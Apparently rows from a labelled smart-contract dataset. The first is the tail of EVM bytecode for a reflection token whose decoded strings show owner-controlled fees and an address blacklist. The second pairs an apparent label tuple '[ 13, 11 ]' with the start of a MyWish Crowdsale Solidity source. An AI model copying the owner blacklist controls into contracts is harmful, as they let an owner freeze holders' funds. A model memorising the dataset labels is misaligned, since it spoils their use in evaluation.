ffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613db69092919063ffffffff16565b6133b9565b6001905092915050565b600061259a6125936133b1565b84846135b0565b6001905092915050565b6000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461264c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061570d6024913960400191505060405180910390fd5b81601660156101000a81548160ff021916908315150217905550601660159054906101000a900460ff169050919050565b6126856133b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612745576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6128ab6133b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461296b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601660156101000a81548160ff02191690831515021790555050565b6129906133b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612a50576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612ae9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806159286022913960400191505060405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612ba9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115612c7d57612c39600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611291565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506007819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b612d436133b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612e03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612e89576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061577e6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b612f4e6133b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461300e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600047905061301c81614308565b50565b600047905090565b61302f6133b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146130ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166131ae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60005b6007805490508110156133ad578173ffffffffffffffffffffffffffffffffffffffff16600782815481106131e257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156133a05760076001600780549050038154811061323e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166007828154811061327657fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600780548061336657fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905590556133ad565b80806001019150506131b1565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561343f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806158d36024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156134c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806157a46022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415613636576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806158ae6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156136bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806157316023913960400191505060405180910390fd5b60008111613715576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806158376029913960400191505060405180910390fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156137d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f596f752068617665206e6f20706f77657220686572652100000000000000000081525060200191505060405180910390fd5b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613895576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f596f752068617665206e6f20706f77657220686572652100000000000000000081525060200191505060405180910390fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613955576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f596f752068617665206e6f20706f77657220686572652100000000000000000081525060200191505060405180910390fd5b61395d6122e2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156139cb575061399b6122e2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15613a2c57601754811115613a2b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806157c66028913960400191505060405180910390fd5b5b613a346122e2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015613aa25750613a726122e2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015613afc5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015613b5457507f000000000000000000000000b3331f3990aac6ac5091646163131fc4032347d873ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015613bae5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15613c195760115481613bc084611d20565b011115613c18576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180615860602a913960400191505060405180910390fd5b5b6000613c2430611d20565b90506017548110613c355760175490505b60006018548210159050601660149054906101000a900460ff16158015613c685750601660159054906101000a900460ff165b8015613c715750805b8015613cc957507f000000000000000000000000b3331f3990aac6ac5091646163131fc4032347d873ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15613cf157613cd782614024565b60004790506000811115613cef57613cee47614308565b5b505b600060019050600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680613d985750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613da257600090505b613dae86868684614374565b505050505050565b6000838311158290613e63576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613e28578082015181840152602081019050613e0d565b50505050905090810190601f168015613e555780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000806000613e83614685565b91509150613e9a8183613ea190919063ffffffff16565b9250505090565b6000613ee383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614916565b905092915050565b600080828401905083811015613f69576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000806000806000806000806000613f908a6012546013546149dc565b9250925092506000613fa0613e76565b90506000806000613fb28e8786614a72565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061401c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613db6565b905092915050565b6001601660146101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561405957600080fd5b506040519080825280602002602001820160405280156140885781602001602082028036833780820191505090505b509050308160008151811061409957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561413957600080fd5b505afa15801561414d573d6000803e3d6000fd5b505050506040513d602081101561416357600080fd5b81019080805190602001909291905050508160018151811061418157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506141e6307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846133b9565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156142a857808201518184015260208101905061428d565b505050509050019650505050505050600060405180830381600087803b1580156142d157600080fd5b505af11580156142e5573d6000803e3d6000fd5b50505050506000601660146101000a81548160ff02191690831515021790555050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015614370573d6000803e3d6000fd5b5050565b8061438257614381614ad0565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156144255750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561443a57614435848484614b13565b614671565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156144dd5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156144f2576144ed848484614d73565b614670565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156145965750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156145ab576145a6848484614fd3565b61466f565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561464d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156146625761465d84848461519e565b61466e565b61466d848484614fd3565b5b5b5b5b8061467f5761467e615493565b5b50505050565b6000806000600c5490506000600b54905060005b6007805490508110156148d9578260026000600784815481106146b857fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061479f575081600360006007848154811061473757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156147b657600c54600b5494509450505050614912565b61483f60026000600784815481106147ca57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613fda90919063ffffffff16565b92506148ca600360006007848154811061485557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613fda90919063ffffffff16565b91508080600101915050614699565b506148f1600b54600c54613ea190919063ffffffff16565b82101561490957600c54600b54935093505050614912565b81819350935050505b9091565b600080831182906149c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561498757808201518184015260208101905061496c565b50505050905090810190601f1680156149b45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816149ce57fe5b049050809150509392505050565b600080600080614a0860646149fa888a6154a790919063ffffffff16565b613ea190919063ffffffff16565b90506000614a326064614a24888b6154a790919063ffffffff16565b613ea190919063ffffffff16565b90506000614a5b82614a4d858c613fda90919063ffffffff16565b613fda90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080614a8b85886154a790919063ffffffff16565b90506000614aa286886154a790919063ffffffff16565b90506000614ab98284613fda90919063ffffffff16565b905082818395509550955050505093509350939050565b6000601254148015614ae457506000601354145b15614aee57614b11565b601254601481905550601354601581905550600060128190555060006013819055505b565b600080600080600080614b2587613f73565b955095509550955095509550614b8387600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613fda90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614c1886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613fda90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614cad85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613eeb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614cf98161552d565b614d0384836156d2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080614d8587613f73565b955095509550955095509550614de386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613fda90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614e7883600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613eeb90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614f0d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613eeb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614f598161552d565b614f6384836156d2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080614fe587613f73565b95509550955095509550955061504386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613fda90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506150d885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613eeb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506151248161552d565b61512e84836156d2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806151b087613f73565b95509550955095509550955061520e87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613fda90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506152a386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613fda90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061533883600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613eeb90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506153cd85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613eeb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506154198161552d565b61542384836156d2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b601454601281905550601554601381905550565b6000808314156154ba5760009050615527565b60008284029050828482816154cb57fe5b0414615522576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806157ee6021913960400191505060405180910390fd5b809150505b92915050565b6000615537613e76565b9050600061554e82846154a790919063ffffffff16565b90506155a281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613eeb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156156cd5761568983600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613eeb90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b6156e782600c54613fda90919063ffffffff16565b600c8190555061570281600d54613eeb90919063ffffffff16565b600d81905550505056fe4f6e6c792044657620416464726573732063616e2064697361626c65206465762066656545524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f546f74616c20486f6c64696e67206578636565647320746865206d617857616c6c6574416d6f756e742e57652063616e206e6f7420626c61636b6c69737420556e697377617020726f757465722e45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573736d61785478416d6f756e742073686f756c642062652067726561746572207468616e20323030303030303030303030653957652063616e206e6f74206578636c75646520556e697377617020726f757465722e4578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c8e6b7351e0e893682b73d624c273902c06bb303d30069190da48c06501a4c9164736f6c634300060c0033
[ 13, 11 ]
0xf2c6ee44c828cf69b48c59eba033d51a75735236
pragma solidity ^0.4.23; /* * This file was generated by MyWish Platform (https://mywish.io/) * The complete code could be found at https://github.com/MyWishPlatform/ * Copyright (C) 2018 MyWish * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external interface represents the basic interface for purchasing tokens, and conform * the base architecture for crowdsales. They are *not* intended to be modified / overriden. * The internal interface conforms the extensible and modifiable surface of crowdsales. Override * the methods to add functionality. Consider using 'super' where appropiate to concatenate * behavior. */ contract Crowdsale { using SafeMath for uint256; // The token being sold ERC20 public token; // Address where funds are collected address public wallet; // How many token units a buyer gets per wei. // The rate is the conversion between wei and the smallest and indivisible token unit. // So, if you are using a rate of 1 with a DetailedERC20 token with 3 decimals called TOK // 1 wei will give you 1 unit, or 0.001 TOK. uint256 public rate; // Amount of wei raised uint256 public weiRaised; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); /** * @param _rate Number of token units a buyer gets per wei * @param _wallet Address where collected funds will be forwarded to * @param _token Address of the token being sold */ constructor(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender); } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _postValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { // optional override } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { token.transfer(_beneficiary, _tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal { _deliverTokens(_beneficiary, _tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.) * @param _beneficiary Address receiving the tokens * @param _weiAmount Value in wei involved in the purchase */ function _updatePurchasingState( address _beneficiary, uint256 _weiAmount ) internal { // optional override } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return 